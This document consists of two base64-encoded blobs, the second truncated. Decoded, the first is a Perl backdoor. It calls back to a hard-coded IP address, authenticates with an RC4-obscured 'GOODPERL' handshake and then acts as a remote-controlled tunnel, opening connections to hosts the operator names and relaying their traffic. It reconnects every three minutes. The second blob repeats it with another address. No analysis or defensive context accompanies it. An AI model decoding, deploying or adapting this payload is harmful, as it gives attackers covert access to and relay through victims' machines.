"IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzcnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzgnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYz